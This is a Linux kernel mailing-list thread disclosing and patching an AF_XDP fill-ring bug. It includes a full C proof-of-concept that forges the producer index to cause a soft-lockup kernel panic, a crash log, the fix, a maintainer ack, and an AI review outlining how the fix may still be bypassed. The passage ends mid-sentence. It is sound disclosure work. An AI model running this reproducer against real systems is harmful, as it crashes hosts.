[PATCH net 0/1] xsk: validate fill-ring producer index

[PATCH net 0/1] xsk: validate fill-ring producer index

[Zhiling Zou]

Hi Linux kernel maintainers,

We found and validated an issue in net/xdp/xsk_queue.h. A process with
permissions to create and attach the required XDP program and AF_XDP
socket can forge the fill-ring producer index and cause a long kernel
loop while handling a packet. The supplied reproducer was run as root in
the QEMU guest.

This bug is tracked at: https://bugtracker.nebusec.ai/f/13760

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

__xskq_cons_peek() reads the fill-ring producer index from userspace
without validating that producer - cached_cons is no greater than the
ring capacity. __xp_alloc() consumes invalid fill descriptors one at a
time until cached_prod is reached. With a one-entry ring containing an
invalid address and producer set to UINT_MAX, each iteration reads the
same masked descriptor while advancing cached_cons, yielding billions of
iterations in the packet receive path. In generic XDP mode this occurs
under the AF_XDP RX lock in softirq context and can trigger a soft-lockup
watchdog panic.

Treat producer values whose distance exceeds q->nentries as an empty
queue. Valid ring wraparound remains handled by unsigned index
subtraction, and the consumer does not process beyond the ring capacity.

Reproducer:

    gcc -O2 -Wall -o poc poc.c -lbpf
    ./poc

The PoC sets the watchdog sysctls, creates a veth pair and a one-entry
AF_XDP fill ring, forges producer = UINT_MAX with an invalid descriptor,
and sends one packet through a generic XDP redirect. It requires libbpf
and privileges to create the XSKMAP and attach the XDP program. We run
the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

    #define _GNU_SOURCE

    #include <arpa/inet.h>
    #include <bpf/bpf.h>
    #include <bpf/libbpf.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <linux/bpf.h>
    #include <linux/if_link.h>
    #include <linux/if_xdp.h>
    #include <net/if.h>
    #include <netinet/in.h>
    #include <signal.h>
    #include <stdarg.h>
    #include <stdbool.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <sys/socket.h>
    #include <sys/syscall.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <time.h>
    #include <unistd.h>

    #ifndef SOL_XDP
    #define SOL_XDP 283
    #endif

    #ifndef AF_XDP
    #define AF_XDP 44
    #endif

    #ifndef PF_XDP
    #define PF_XDP AF_XDP
    #endif

    #ifndef BPF_PSEUDO_MAP_FD
    #define BPF_PSEUDO_MAP_FD 1
    #endif

    #define UMEM_SIZE 4096
    #define CHUNK_SIZE 2048
    #define FRAME_HEADROOM 0
    #define RING_SIZE 1

    #define BPF_MOV64_IMM(DST, IMM) \
    	((struct bpf_insn) { \
    		.code = BPF_ALU64 | BPF_MOV | BPF_K, \
    		.dst_reg = DST, \
    		.src_reg = 0, \
    		.off = 0, \
    		.imm = IMM, \
    	})

    #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
    	((struct bpf_insn) { \
    		.code = BPF_LD | BPF_DW | BPF_IMM, \
    		.dst_reg = DST, \
    		.src_reg = SRC, \
    		.off = 0, \
    		.imm = (__u32)(IMM), \
    	}), \
    	((struct bpf_insn) { \
    		.code = 0, \
    		.dst_reg = 0, \
    		.src_reg = 0, \
    		.off = 0, \
    		.imm = ((__u64)(IMM)) >> 32, \
    	})

    #define BPF_LD_MAP_FD(DST, MAP_FD) \
    	BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

    #define BPF_EMIT_CALL(FUNC) \
    	((struct bpf_insn) { \
    		.code = BPF_JMP | BPF_CALL, \
    		.dst_reg = 0, \
    		.src_reg = 0, \
    		.off = 0, \
    		.imm = FUNC, \
    	})

    #define BPF_EXIT_INSN() \
    	((struct bpf_insn) { \
    		.code = BPF_JMP | BPF_EXIT, \
    		.dst_reg = 0, \
    		.src_reg = 0, \
    		.off = 0, \
    		.imm = 0, \
    	})

    struct xsk_ring_map {
    	void *base;
    	__u32 *producer;
    	__u32 *consumer;
    	__u32 *flags;
    	__u64 *desc;
    	size_t map_len;
    };

    struct poc_ctx {
    	char if_in[IFNAMSIZ];
    	char if_peer[IFNAMSIZ];
    	int ifindex;
    	int map_fd;
    	int prog_fd;
    	int xsk_fd;
    	void *umem;
    	struct xsk_ring_map fill;
    	struct xsk_ring_map comp;
    	void *rx_map;
    	size_t rx_map_len;
    	bool xdp_attached;
    	bool created_link;
    	bool set_watchdog;
    	bool no_sysctls;
    	bool exit_after_send;
    	uint32_t forged_producer;
    };

    static struct poc_ctx *global_ctx;

    static void die(const char *fmt, ...)
    {
    	va_list ap;

    	va_start(ap, fmt);
    	vfprintf(stderr, fmt, ap);
    	va_end(ap);
    	fputc('\n', stderr);
    	exit(1);
    }

    static void die_errno(const char *what)
    {
    	die("%s: %s", what, strerror(errno));
    }

    static int sys_bpf(enum bpf_cmd cmd, union bpf_attr *attr, unsigned int size)
    {
    	return syscall(__NR_bpf, cmd, attr, size);
    }

    static int write_file(const char *path, const char *val)
    {
    	int fd, ret;

    	fd = open(path, O_WRONLY | O_CLOEXEC);
    	if (fd < 0)
    		return -1;

    	ret = write(fd, val, strlen(val));
    	close(fd);
    	return ret < 0 ? -1 : 0;
    }

    static void try_set_watchdog_sysctls(struct poc_ctx *ctx)
    {
    	if (ctx->no_sysctls)
    		return;

    	if (!write_file("/proc/sys/kernel/panic_on_warn", "0\n") &&
    	    !write_file("/proc/sys/kernel/softlockup_panic", "1\n") &&
    	    !write_file("/proc/sys/kernel/watchdog_thresh", "5\n")) {
    		ctx->set_watchdog = true;
    		fprintf(stderr,
    			"[+] Set panic_on_warn=0, softlockup_panic=1, watchdog_thresh=5\n");
    		return;
    	}

    	fprintf(stderr,
    		"[!] Failed to tune watchdog sysctls, continuing without them\n");
    }

    static int run_cmd(const char *fmt, ...)
    {
    	char cmd[512];
    	va_list ap;
    	int ret;

    	va_start(ap, fmt);
    	vsnprintf(cmd, sizeof(cmd), fmt, ap);
    	va_end(ap);

    	ret = system(cmd);
    	if (ret == -1)
    		return -1;
    	return WEXITSTATUS(ret);
    }

    static void cleanup(void)
    {
    	struct poc_ctx *ctx = global_ctx;

    	if (!ctx)
    		return;

    	if (ctx->xdp_attached)
    		bpf_xdp_detach(ctx->ifindex, XDP_FLAGS_SKB_MODE, NULL);
    	if (ctx->prog_fd >= 0)
    		close(ctx->prog_fd);
    	if (ctx->map_fd >= 0)
    		close(ctx->map_fd);
    	if (ctx->xsk_fd >= 0)
    		close(ctx->xsk_fd);
    	if (ctx->fill.base)
    		munmap(ctx->fill.base, ctx->fill.map_len);
    	if (ctx->comp.base)
    		munmap(ctx->comp.base, ctx->comp.map_len);
    	if (ctx->rx_map)
    		munmap(ctx->rx_map, ctx->rx_map_len);
    	if (ctx->umem)
    		munmap(ctx->umem, UMEM_SIZE);
    	if (ctx->created_link)
    		run_cmd("ip link del %s >/dev/null 2>&1", ctx->if_in);
    }

    static void on_signal(int signo)
    {
    	(void)signo;
    	_exit(128 + signo);
    }

    static void install_handlers(void)
    {
    	struct sigaction sa = {
    		.sa_handler = on_signal,
    	};

    	sigemptyset(&sa.sa_mask);
    	sigaction(SIGINT, &sa, NULL);
    	sigaction(SIGTERM, &sa, NULL);
    	atexit(cleanup);
    }

    static void setup_links(struct poc_ctx *ctx)
    {
    	unsigned int id = getpid() % 10000;

    	snprintf(ctx->if_in, sizeof(ctx->if_in), "xskp%04u", id);
    	snprintf(ctx->if_peer, sizeof(ctx->if_peer), "xskq%04u", id);

    	run_cmd("ip link del %s >/dev/null 2>&1", ctx->if_in);
    	run_cmd("ip link del %s >/dev/null 2>&1", ctx->if_peer);

    	if (run_cmd("ip link add %s numtxqueues 1 numrxqueues 1 type veth peer name %s numtxqueues 1 numrxqueues 1",
    		    ctx->if_in, ctx->if_peer))
    		die("failed to create veth pair");
    	ctx->created_link = true;

    	if (run_cmd("ip addr add 10.23.0.1/24 dev %s", ctx->if_in) ||
    	    run_cmd("ip addr add 10.23.0.2/24 dev %s", ctx->if_peer) ||
    	    run_cmd("ip link set %s up", ctx->if_in) ||
    	    run_cmd("ip link set %s up", ctx->if_peer))
    		die("failed to configure veth pair");

    	ctx->ifindex = if_nametoindex(ctx->if_in);
    	if (!ctx->ifindex)
    		die_errno("if_nametoindex");

    	fprintf(stderr, "[+] Using %s (ifindex %d) and peer %s\n",
    		ctx->if_in, ctx->ifindex, ctx->if_peer);
    }

    static int create_xskmap(void)
    {
    	union bpf_attr attr;

    	memset(&attr, 0, sizeof(attr));
    	attr.map_type = BPF_MAP_TYPE_XSKMAP;
    	attr.key_size = sizeof(__u32);
    	attr.value_size = sizeof(__u32);
    	attr.max_entries = 1;
    	memcpy(attr.map_name, "xsks_map", sizeof("xsks_map"));

    	return sys_bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
    }

    static int load_xdp_prog(int map_fd)
    {
    	static char log_buf[65536];
    	struct bpf_insn prog[] = {
    		BPF_LD_MAP_FD(BPF_REG_1, map_fd),
    		BPF_MOV64_IMM(BPF_REG_2, 0),
    		BPF_MOV64_IMM(BPF_REG_3, XDP_PASS),
    		BPF_EMIT_CALL(BPF_FUNC_redirect_map),
    		BPF_EXIT_INSN(),
    	};
    	union bpf_attr attr;

    	memset(&attr, 0, sizeof(attr));
    	attr.prog_type = BPF_PROG_TYPE_XDP;
    	attr.insn_cnt = sizeof(prog) / sizeof(prog[0]);
    	attr.insns = (uintptr_t)prog;
    	attr.license = (uintptr_t)"GPL";
    	attr.log_buf = (uintptr_t)log_buf;
    	attr.log_size = sizeof(log_buf);
    	attr.log_level = 1;

    	map_fd = sys_bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
    	if (map_fd < 0)
    		fprintf(stderr, "%s\n", log_buf);
    	return map_fd;
    }

    static void attach_xdp(struct poc_ctx *ctx)
    {
    	int err;

    	err = bpf_xdp_attach(ctx->ifindex, ctx->prog_fd,
    			     XDP_FLAGS_SKB_MODE | XDP_FLAGS_UPDATE_IF_NOEXIST,
    			     NULL);
    	if (err)
    		die("bpf_xdp_attach: %s", strerror(-err));
    	ctx->xdp_attached = true;
    	fprintf(stderr, "[+] Attached generic XDP redirect program to %s\n",
    		ctx->if_in);
    }

    static void map_ring(void *base, const struct xdp_ring_offset *off,
    		     struct xsk_ring_map *ring, size_t entries, bool fill_ring)
    {
    	ring->base = base;
    	ring->producer = base + off->producer;
    	ring->consumer = base + off->consumer;
    	ring->flags = base + off->flags;
    	ring->desc = base + off->desc;
    	ring->map_len = off->desc + entries * (fill_ring ? sizeof(__u64) :
    						    sizeof(struct xdp_desc));
    }

    static void setup_xsk(struct poc_ctx *ctx)
    {
    	struct sockaddr_xdp sxdp;
    	struct xdp_mmap_offsets off;
    	struct xdp_umem_reg mr;
    	socklen_t optlen;
    	int entries = RING_SIZE;

    	ctx->xsk_fd = socket(AF_XDP, SOCK_RAW | SOCK_CLOEXEC, 0);
    	if (ctx->xsk_fd < 0)
    		die_errno("socket(AF_XDP)");

    	ctx->umem = mmap(NULL, UMEM_SIZE, PROT_READ | PROT_WRITE,
    			 MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    	if (ctx->umem == MAP_FAILED)
    		die_errno("mmap(umem)");

    	memset(&mr, 0, sizeof(mr));
    	mr.addr = (uintptr_t)ctx->umem;
    	mr.len = UMEM_SIZE;
    	mr.chunk_size = CHUNK_SIZE;
    	mr.headroom = FRAME_HEADROOM;
    	if (setsockopt(ctx->xsk_fd, SOL_XDP, XDP_UMEM_REG, &mr, sizeof(mr)))
    		die_errno("setsockopt(XDP_UMEM_REG)");
    	if (setsockopt(ctx->xsk_fd, SOL_XDP, XDP_UMEM_FILL_RING, &entries, sizeof(entries)))
    		die_errno("setsockopt(XDP_UMEM_FILL_RING)");
    	if (setsockopt(ctx->xsk_fd, SOL_XDP, XDP_UMEM_COMPLETION_RING, &entries, sizeof(entries)))
    		die_errno("setsockopt(XDP_UMEM_COMPLETION_RING)");
    	if (setsockopt(ctx->xsk_fd, SOL_XDP, XDP_RX_RING, &entries, sizeof(entries)))
    		die_errno("setsockopt(XDP_RX_RING)");

    	memset(&off, 0, sizeof(off));
    	optlen = sizeof(off);
    	if (getsockopt(ctx->xsk_fd, SOL_XDP, XDP_MMAP_OFFSETS, &off, &optlen))
    		die_errno("getsockopt(XDP_MMAP_OFFSETS)");

    	ctx->fill.base = mmap(NULL, off.fr.desc + RING_SIZE * sizeof(__u64),
    			      PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
    			      ctx->xsk_fd, XDP_UMEM_PGOFF_FILL_RING);
    	if (ctx->fill.base == MAP_FAILED)
    		die_errno("mmap(fill)");
    	map_ring(ctx->fill.base, &off.fr, &ctx->fill, RING_SIZE, true);

    	ctx->comp.base = mmap(NULL, off.cr.desc + RING_SIZE * sizeof(__u64),
    			      PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
    			      ctx->xsk_fd, XDP_UMEM_PGOFF_COMPLETION_RING);
    	if (ctx->comp.base == MAP_FAILED)
    		die_errno("mmap(comp)");
    	map_ring(ctx->comp.base, &off.cr, &ctx->comp, RING_SIZE, true);

    	ctx->rx_map_len = off.rx.desc + RING_SIZE * sizeof(struct xdp_desc);
    	ctx->rx_map = mmap(NULL, ctx->rx_map_len, PROT_READ | PROT_WRITE,
    			   MAP_SHARED | MAP_POPULATE, ctx->xsk_fd, XDP_PGOFF_RX_RING);
    	if (ctx->rx_map == MAP_FAILED)
    		die_errno("mmap(rx)");

    	memset(&sxdp, 0, sizeof(sxdp));
    	sxdp.sxdp_family = PF_XDP;
    	sxdp.sxdp_ifindex = ctx->ifindex;
    	sxdp.sxdp_queue_id = 0;
    	sxdp.sxdp_flags = 0;
    	if (bind(ctx->xsk_fd, (struct sockaddr *)&sxdp, sizeof(sxdp)))
    		die_errno("bind(AF_XDP)");

    	fprintf(stderr, "[+] AF_XDP socket bound to %s queue 0\n", ctx->if_in);
    }

    static void update_xskmap(struct poc_ctx *ctx)
    {
    	__u32 key = 0;

    	if (bpf_map_update_elem(ctx->map_fd, &key, &ctx->xsk_fd, 0))
    		die_errno("bpf_map_update_elem(XSKMAP)");
    	fprintf(stderr, "[+] XSKMAP[0] now points at the AF_XDP socket\n");
    }

    static void forge_fill_ring(struct poc_ctx *ctx)
    {
    	ctx->fill.desc[0] = UINT64_MAX;
    	__sync_synchronize();
    	*ctx->fill.producer = ctx->forged_producer;
    	__sync_synchronize();
    	fprintf(stderr,
    		"[+] Forged fill ring: desc[0]=0x%016llx producer=%u consumer=%u\n",
    		(unsigned long long)ctx->fill.desc[0], *ctx->fill.producer,
    		*ctx->fill.consumer);
    }

    static void send_trigger_packet(struct poc_ctx *ctx)
    {
    	struct sockaddr_in addr = {
    		.sin_family = AF_INET,
    		.sin_port = htons(1337),
    	};
    	struct timespec start, end;
    	static const char payload[] = "x";
    	int fd;

    	addr.sin_addr.s_addr = htonl(0x0a170001);

    	fd = socket(AF_INET, SOCK_DGRAM, 0);
    	if (fd < 0)
    		die_errno("socket(AF_INET)");

    	if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, ctx->if_peer,
    		       strlen(ctx->if_peer) + 1))
    		die_errno("setsockopt(SO_BINDTODEVICE)");

    	fprintf(stderr, "[+] Sending one UDP packet via %s to trigger RX allocation\n",
    		ctx->if_peer);
    	clock_gettime(CLOCK_MONOTONIC, &start);
    	if (sendto(fd, payload, sizeof(payload), 0,
    		   (struct sockaddr *)&addr, sizeof(addr)) < 0)
    		die_errno("sendto");
    	clock_gettime(CLOCK_MONOTONIC, &end);
    	close(fd);
    	fprintf(stderr, "[+] sendto() returned after %.3f seconds\n",
    		(end.tv_sec - start.tv_sec) +
    		(end.tv_nsec - start.tv_nsec) / 1000000000.0);
    }

    static void usage(const char *prog)
    {
    	fprintf(stderr,
    		"Usage: %s [--producer N] [--no-sysctls] [--exit-after-send]\n"
    		"  --producer N   Forged fill-ring producer value (default UINT_MAX)\n"
    		"  --no-sysctls   Skip watchdog/panic sysctl tuning\n",
    		prog);
    }

    int main(int argc, char **argv)
    {
    	struct poc_ctx ctx = {
    		.map_fd = -1,
    		.prog_fd = -1,
    		.xsk_fd = -1,
    		.forged_producer = UINT32_MAX,
    	};
    	int i;

    	for (i = 1; i < argc; i++) {
    		if (!strcmp(argv[i], "--producer")) {
    			char *endp;
    			unsigned long long v;

    			if (++i >= argc)
    				die("--producer requires an argument");
    			v = strtoull(argv[i], &endp, 0);
    			if (*endp || v > UINT32_MAX)
    				die("invalid producer value: %s", argv[i]);
    			ctx.forged_producer = v;
    		} else if (!strcmp(argv[i], "--no-sysctls")) {
    			ctx.no_sysctls = true;
    		} else if (!strcmp(argv[i], "--exit-after-send")) {
    			ctx.exit_after_send = true;
    		} else {
    			usage(argv[0]);
    			return 1;
    		}
    	}

    	global_ctx = &ctx;
    	install_handlers();
    	try_set_watchdog_sysctls(&ctx);
    	setup_links(&ctx);

    	ctx.map_fd = create_xskmap();
    	if (ctx.map_fd < 0)
    		die_errno("BPF_MAP_CREATE(XSKMAP)");

    	ctx.prog_fd = load_xdp_prog(ctx.map_fd);
    	if (ctx.prog_fd < 0)
    		die_errno("BPF_PROG_LOAD(XDP)");

    	attach_xdp(&ctx);
    	setup_xsk(&ctx);
    	update_xskmap(&ctx);
    	forge_fill_ring(&ctx);
    	send_trigger_packet(&ctx);

    	fprintf(stderr, "[+] Trigger packet sent; if the bug is reachable the kernel should now spin in __xp_alloc()\n");
    	if (ctx.exit_after_send)
    		return 0;
    	pause();
    	return 0;
    }

------END poc.c------

----BEGIN crash log----

[  593.167690][    C0] watchdog: BUG: soft lockup - CPU#0 stuck for 13s! [kworker/0:1:11]
[  593.167804][    C0] Modules linked in:
[  593.167883][    C0] CPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[  593.167928][    C0] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  593.167950][    C0] Workqueue: mld mld_ifc_work
[  593.168064][    C0] RIP: 0010:__pv_queued_spin_lock_slowpath+0x7d2/0xec0
[  593.168229][    C0] Call Trace:
[  593.168236][    C0]  <IRQ>
[  593.168466][    C0]  do_raw_spin_lock+0x1e7/0x270
[  593.168519][    C0]  _raw_spin_lock_bh+0x6d/0x80
[  593.168533][    C0]  xsk_generic_rcv+0x12f/0x420
[  593.168566][    C0]  xdp_do_generic_redirect+0x5d8/0xc30
[  593.168625][    C0]  do_xdp_generic+0x875/0xcf0
[  593.168902][    C0]  __netif_receive_skb_core.constprop.0+0x1570/0x3770
[  593.169262][    C0]  __netif_receive_skb_one_core+0xaf/0x1b0
[  593.169377][    C0]  process_backlog+0x309/0xf00
[  593.169417][    C0]  __napi_poll.constprop.0+0xa7/0x580
[  593.169441][    C0]  net_rx_action+0x4d4/0xc70
[  593.169720][    C0]  do_softirq.part.0+0x3f/0xa0
[  593.169763][    C0]  </IRQ>
[  593.169780][    C0]  <TASK>
[  593.171109][    C0] Kernel panic - not syncing: softlockup: hung tasks
[  593.257697][    C0] CPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Tainted: G             L   6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[  593.257960][    C0] Tainted: [L]=SOFTLOCKUP
[  593.258298][    C0] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  593.259618][    C0] Call Trace:
[  593.259908][    C0]  <IRQ>
[  593.260275][    C0]  panic+0x349/0x880
[  593.262191][    C0]  hrtimer_interrupt+0x2cd/0x7e0
[  593.264680][    C0]  sysvec_apic_timer_interrupt+0x38/0x90
[  593.265638][    C0] RIP: 0010:__pv_queued_spin_lock_slowpath+0x7d2/0xec0
[  593.275692][    C0]  do_raw_spin_lock+0x1e7/0x270
[  593.276520][    C0]  _raw_spin_lock_bh+0x6d/0x80
[  593.276911][    C0]  xsk_generic_rcv+0x12f/0x420
[  593.277284][    C0]  xdp_do_generic_redirect+0x5d8/0xc30
[  593.277680][    C0]  do_xdp_generic+0x875/0xcf0
[  593.282674][    C0]  __netif_receive_skb_core.constprop.0+0x1570/0x3770
[  593.294532][    C0]  __netif_receive_skb_one_core+0xaf/0x1b0
[  593.296764][    C0]  process_backlog+0x33c/0xf00
[  593.297424][    C0]  __napi_poll.constprop.0+0xa7/0x580
[  593.297804][    C0]  net_rx_action+0x4d4/0xc70
[  593.299256][    C0]  handle_softirqs+0x282/0x7d0
[  593.300505][    C0]  do_softirq.part.0+0x3f/0xa0
[  593.300910][    C0]  </IRQ>
[  593.301142][    C0]  <TASK>
[  593.301371][    C0]  __local_bh_enable_ip+0x79/0x80
[  593.302175][    C0]  __dev_queue_xmit+0xc0a/0x31d0
[  593.312452][    C0]  ip6_finish_output2+0xc44/0x1c00
[  593.314380][    C0]  ip6_output+0x203/0x5f0
[  593.316379][    C0]  NF_HOOK.constprop.0+0x1f4/0x2e0
[  593.320541][    C0]  mld_sendpack+0x5bf/0xa40
[  593.321756][    C0]  __lock_acquire.isra.0+0x5cb/0x1230
[  593.322191][    C0]  mld_ifc_work+0x499/0xb40
[  593.323741][    C0]  process_one_work+0x80f/0x1680
[  593.324921][    C0]  worker_thread+0x618/0x1140
[  593.328619][    C0]  kthread+0x2bd/0x3a0
[  593.329659][    C0]  ret_from_fork+0x31/0x70
[  593.330303][    C0]  ret_from_fork_asm+0x1a/0x30
[  593.330654][    C0]  </TASK>
[  594.382053][    C0] Shutting down cpus with NMI
[  594.382738][    C0] Kernel Offset: disabled
[  594.383045][    C0] Rebooting in 10 seconds..

-----END crash log-----

Best regards,
Zhiling Zou


Zhiling Zou (1):
  xsk: validate consumer ring producer index

 net/xdp/xsk_queue.h | 3 +++
 1 file changed, 3 insertions(+)

[PATCH net 1/1] xsk: validate consumer ring producer index

[Zhiling Zou]

__xskq_cons_peek() trusts the userspace-controlled producer index without
checking that the producer-consumer distance fits in the ring. In
__xp_alloc(), an invalid fill descriptor is consumed one at a time until
the cached producer is reached. A one-entry ring with an invalid address
and a forged producer index can therefore keep the kernel in this loop
for billions of iterations in receive context.

Treat producer values beyond the ring capacity as an empty queue. This
bounds the consumer to the userspace-provided ring size and prevents the
long loop.

Fixes: c5ed924b54c8 ("xsk: Simplify the consumer ring access functions")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/13760
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
 net/xdp/xsk_queue.h | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/net/xdp/xsk_queue.h b/net/xdp/xsk_queue.h
index 1bc42c8902f4b..315b656534749 100644
--- a/net/xdp/xsk_queue.h
+++ b/net/xdp/xsk_queue.h
@@ -344,6 +344,9 @@ static inline void __xskq_cons_peek(struct xsk_queue *q)
 {
 	/* Refresh the local pointer */
 	q->cached_prod = smp_load_acquire(&q->ring->producer);  /* C, matches B */
+	/* A malformed producer must not make us consume beyond the ring. */
+	if (q->cached_prod - q->cached_cons > q->nentries)
+		q->cached_prod = q->cached_cons;
 }
 
 static inline void xskq_cons_get_entries(struct xsk_queue *q)

Re: [PATCH net 0/1] xsk: validate fill-ring producer index

[netdev-bot+sinfo]

Hi!

This is an automated message. This series looks like a fix, but its
commit messages seem to be missing some information:

 - How the issue was discovered, e.g. hit in production, hit during
   development, syzbot report, manual code inspection, LLM or static
   analysis tool scan.

Please do not repost the series just to address the above. Instead,
reply to this email with the missing information, so that reviewers
can take it into account. If the series needs another revision for
other reasons, please include the information in the commit messages
then.

The evaluation is done by an LLM so it may be wrong, if you think
that is the case please reply and explain.

Re: [PATCH net 0/1] xsk: validate fill-ring producer index

[zhilin zou]

On Thu, Oct 22, 2026 at 4:03 PM <netdev-bot+sinfo@kernel.org> wrote:
>
> Hi!
>
> This is an automated message. This series looks like a fix, but its
> commit messages seem to be missing some information:
>
>  - How the issue was discovered, e.g. hit in production, hit during
>    development, syzbot report, manual code inspection, LLM or static
>    analysis tool scan.
>
> Please do not repost the series just to address the above. Instead,
> reply to this email with the missing information, so that reviewers
> can take it into account. If the series needs another revision for
> other reasons, please include the information in the commit messages
> then.
>
> The evaluation is done by an LLM so it may be wrong, if you think
> that is the case please reply and explain.

Hi,

Please disregard the mismatch between the cover letter subject and the
patch subject. This was my mistake, and I apologize for the confusion. The
patch subject is the intended one; the patch itself is unchanged.

Best regards,
Zhiling

Re: [PATCH net 1/1] xsk: validate consumer ring producer index

[Magnus Karlsson]

On Thu, 22 Oct 2026 at 11:04, Zhiling Zou <zhilinz@nebusec.ai> wrote:
>
> __xskq_cons_peek() trusts the userspace-controlled producer index without
> checking that the producer-consumer distance fits in the ring. In
> __xp_alloc(), an invalid fill descriptor is consumed one at a time until
> the cached producer is reached. A one-entry ring with an invalid address
> and a forged producer index can therefore keep the kernel in this loop
> for billions of iterations in receive context.
>
> Treat producer values beyond the ring capacity as an empty queue.

Thanks for spotting this. If someone intentionally messes with the
ring state, it is ok if they get no traffic through. The important
thing is that the kernel does not get affected negatively.

 Acked-by: Magnus Karlsson <magnus.karlsson@intel.com>

> This
> bounds the consumer to the userspace-provided ring size and prevents the
> long loop.
>
> Fixes: c5ed924b54c8 ("xsk: Simplify the consumer ring access functions")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Link: https://bugtracker.nebusec.ai/f/13760
> Assisted-by: LLM
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
> ---
>  net/xdp/xsk_queue.h | 3 +++
>  1 file changed, 3 insertions(+)
>
> diff --git a/net/xdp/xsk_queue.h b/net/xdp/xsk_queue.h
> index 1bc42c8902f4b..315b656534749 100644
> --- a/net/xdp/xsk_queue.h
> +++ b/net/xdp/xsk_queue.h
> @@ -344,6 +344,9 @@ static inline void __xskq_cons_peek(struct xsk_queue *q)
>  {
>         /* Refresh the local pointer */
>         q->cached_prod = smp_load_acquire(&q->ring->producer);  /* C, matches B */
> +       /* A malformed producer must not make us consume beyond the ring. */
> +       if (q->cached_prod - q->cached_cons > q->nentries)
> +               q->cached_prod = q->cached_cons;
>  }
>
>  static inline void xskq_cons_get_entries(struct xsk_queue *q)
>

Re: [PATCH net 1/1] xsk: validate consumer ring producer index

[sashiko-bot]

Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider:
- [High] xsk: unbounded re-peek loop in __xp_alloc() despite __xskq_cons_peek() check
--

commit b1eb51f9c983fb773e7eaf99ed508d1895d9b804
Author: Zhiling Zou <zhilinz@nebusec.ai>

xsk: validate consumer ring producer index

This commit adds a bounds check in __xskq_cons_peek() to clamp q->cached_prod
to q->cached_cons when the producer-consumer distance exceeds q->nentries,
aiming to bound the consumer loop in __xp_alloc() to the ring size.

Link: https://bugtracker.nebusec.ai/f/13760

> diff --git a/net/xdp/xsk_queue.h b/net/xdp/xsk_queue.h
> index 1bc42c8902f4b..315b656534749 100644
> --- a/net/xdp/xsk_queue.h
> +++ b/net/xdp/xsk_queue.h
> @@ -344,6 +344,9 @@ static inline void __xskq_cons_peek(struct xsk_queue *q)
>  {
>  	/* Refresh the local pointer */
>  	q->cached_prod = smp_load_acquire(&q->ring->producer);  /* C, matches B */
> +	/* A malformed producer must not make us consume beyond the ring. */
> +	if (q->cached_prod - q->cached_cons > q->nentries)
> +		q->cached_prod = q->cached_cons;
>  }
>  
>  static inline void xskq_cons_get_entries(struct xsk_queue *q)

[Severity: High]
Does this check in __xskq_cons_peek() actually bound the loop in __xp_alloc()
to at most q->nentries descriptors?

In net/xdp/xsk_buff_pool.c:__xp_alloc(), invalid fill descriptors are consumed
in an unbounded loop that calls xskq_cons_peek_addr_unchecked() on every
iteration:

net/xdp/xsk_buff_pool.c:__xp_alloc() {
	for (;;) {
		if (!xskq_cons_peek_addr_unchecked(pool->fq, &addr)) {
			pool->fq->queue_empty_descs++;
			return NULL;
		}

		ok = pool->unaligned ? xp_check_unaligned(pool, &addr) :
		     xp_check_aligned(pool, &addr);
		if (!ok) {
			pool->fq->invalid_descs++;
			xskq_cons_release(pool->fq);
			continue;
		}
		break;
	}
}

Whenever pool->fq->cached_cons catches up to pool->fq->cached_prod after
consuming a batch of invalid descriptors, the next iteration of the loop does
not terminate. Instead, xskq_cons_peek_addr_unchecked() in
net/xdp/xsk_queue.h calls xskq_cons_get_entries():

net/xdp/xsk_queue.h:xskq_cons_peek_addr_unchecked() {
	if (q->cached_prod == q->cached_cons)
		xskq_cons_get_entries(q);
	return xskq_cons_read_addr_unchecked(q, addr);
}

xskq_cons_get_entries() then calls __xskq_cons_release() to publish the newly
advanced q->cached_cons to the user-mapped q->ring->consumer, followed by
__xskq_cons_peek() to reload q->cached_prod from q->ring->producer and
validate it against the updated q->cached_cons.

Because __xskq_cons_peek() re-evaluates q->cached_prod - q->cached_cons >
q->nentries relative to the newly advanced q->cached_cons on each reload, two
cases can still exceed q->nentries in a single __xp_alloc() call:

1. On a one-entry ring (q->nentries == 1) containing an invalid descriptor
address, a concurrent userspace thread updating q->ring->producer in the
mmap'd fill ring as q->ring->consumer advances (for example keeping
q->ring->producer equal to q->ring->consumer + 1) satisfies
q->cached_prod - q->cached_cons <= q->nentries on every re-peek in
xskq_cons_get_entries(), keeping the kernel in the __xp_alloc() loop
indefinitely in receive context.

2. Even without concurrent updates during __xp_alloc(), if k > 0 entries are
already cached on entry to __xp_alloc() (q->cached_prod - q->cached_cons == k)
and userspace has written q->ring->producer = q->ring->consumer + k +
q->nentries, __xp_alloc() first consumes the k cached invalid descriptors
until q->cached_cons reaches q->cached_prod. Then xskq_cons_get_entries()
